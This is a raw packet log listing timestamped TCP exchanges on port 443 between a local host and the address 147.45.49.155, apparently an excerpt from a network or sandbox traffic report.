Dec 23, 2024 08:39:29.208410978 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.208491087 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.208528042 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.208544970 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.208776951 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.212805033 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.212824106 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.212894917 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.212915897 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.213570118 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.218311071 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.218329906 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.218403101 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.218420982 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.218467951 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.224034071 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.224051952 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.224145889 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.224176884 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.224225044 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.224247932 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.229496002 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.229511023 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.229618073 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.229624987 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.230165005 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.235255003 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.235270977 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.235371113 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.235377073 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.236215115 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.240415096 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.240431070 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.240505934 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.240510941 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.240551949 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.246757984 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.246773005 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.246859074 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.246865034 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.246907949 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.400013924 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.400036097 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.400108099 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.400141954 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.401175976 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.404571056 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.404586077 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.404650927 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.404671907 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.404706001 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.404728889 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.410474062 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.410490036 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.410567999 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.410574913 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.410626888 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.416121960 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.416138887 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.416218042 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.416224003 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.416306973 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.422255039 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.422272921 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.422332048 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.422338009 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.422378063 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.422451019 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.427433014 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.427468061 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.427548885 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.427553892 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.427613020 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.432531118 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.432549000 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.432624102 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.432630062 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.434187889 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.439119101 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.439136028 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.439639091 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.439649105 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.440192938 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.591947079 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.591979027 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.592037916 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.592075109 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.592097044 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.592117071 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.597945929 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.597965956 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.598022938 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.598053932 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.598073959 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.598089933 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.603554010 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.603570938 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.603640079 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.603669882 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.603722095 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.608110905 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.608127117 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.608201027 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.608237982 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.608253956 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.608331919 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.614202023 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.614217997 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.614286900 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.614314079 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.614451885 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.619812012 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.619829893 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.619910955 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.619916916 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.620699883 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.625178099 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.625193119 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.625283957 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.625289917 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.625379086 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.630665064 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.630681992 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.630753040 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.630758047 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.631973028 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.784257889 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.784279108 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.784365892 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.784393072 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.784998894 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.789621115 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.789635897 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.789720058 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.789738894 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.789783001 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.794682980 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.794701099 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.794769049 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.794778109 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.794862986 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.800506115 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.800523996 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.800592899 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.800597906 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.800652981 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.806288958 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.806304932 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.806380033 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.806385040 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.806421995 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.811597109 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.811610937 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.811686993 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.811691046 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.811768055 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.817459106 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.817473888 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.817532063 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.817537069 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.817565918 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.817579031 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.822525978 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.822540998 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.822598934 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.822608948 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.822662115 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.976428032 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.976453066 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.976516008 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.976546049 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.976562023 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.976677895 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.981710911 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.981725931 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.981790066 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.981795073 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.981846094 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.986841917 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.986859083 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.986933947 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.986938953 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.986982107 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.992592096 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.992608070 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.992671967 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.992687941 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.992767096 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.998358011 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.998373985 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.998446941 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:29.998462915 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:29.998528004 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:30.003046989 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:30.003088951 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:30.003124952 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:30.003129959 CET	443	49734	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:30.003168106 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:30.003180981 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:30.006191969 CET	49734	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:30.920248985 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:30.920301914 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:30.920370102 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:30.921176910 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:30.921192884 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:32.428816080 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:32.436446905 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:32.436481953 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.055402040 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.183450937 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.247626066 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.247643948 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.247695923 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.247699976 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.247720957 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.247747898 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.247761011 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.247773886 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.247773886 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.247788906 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.247807980 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.299808979 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.299820900 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.299868107 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.299889088 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.299901009 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.299911022 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.299946070 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.299966097 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.445374966 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.445415974 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.445461988 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.445476055 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.445503950 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.445523024 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.475912094 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.475976944 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.476037979 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.476048946 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.476098061 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.476120949 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.501890898 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.501916885 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.501975060 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.501986980 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.502006054 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.502026081 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.530194998 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.530220985 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.530263901 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.530275106 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.530291080 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.530337095 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.641041040 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.641073942 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.641139984 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.641160011 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.641177893 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.641201019 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.659725904 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.659746885 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.659807920 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.659818888 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.659863949 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.659887075 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.675040960 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.675071955 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.675137997 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.675148010 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.675184011 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.675194979 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.694019079 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.694040060 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.694164991 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.694202900 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.695525885 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.789066076 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.789096117 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.789196014 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.789217949 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.789272070 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.831981897 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.832003117 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.832103014 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.832122087 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.833393097 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.844532967 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.844549894 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.844639063 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.844650030 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.845974922 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.857256889 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.857281923 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.857352972 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.857368946 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.857407093 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.857424021 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.868216038 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.868241072 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.868331909 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.868344069 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.868586063 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.880000114 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.880038023 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.880080938 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.880089045 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.880132914 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.892894030 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.892923117 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.893007994 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.893014908 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.893086910 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.893086910 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.905275106 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.905301094 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.905401945 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.905410051 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.905647039 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.982570887 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.982606888 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.982681990 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.982692957 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:33.982731104 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:33.982741117 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.022722006 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.022752047 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.022819996 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.022831917 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.022891045 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.022891045 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.032721043 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.032743931 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.032857895 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.032866955 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.032910109 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.039536953 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.039556980 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.039637089 CET	49762	443	192.168.2.6	147.45.49.155
Dec 23, 2024 08:39:34.039647102 CET	443	49762	147.45.49.155	192.168.2.6
Dec 23, 2024 08:39:34.039944887 CET	49762	443	192.168.2.6	147.45.49.155
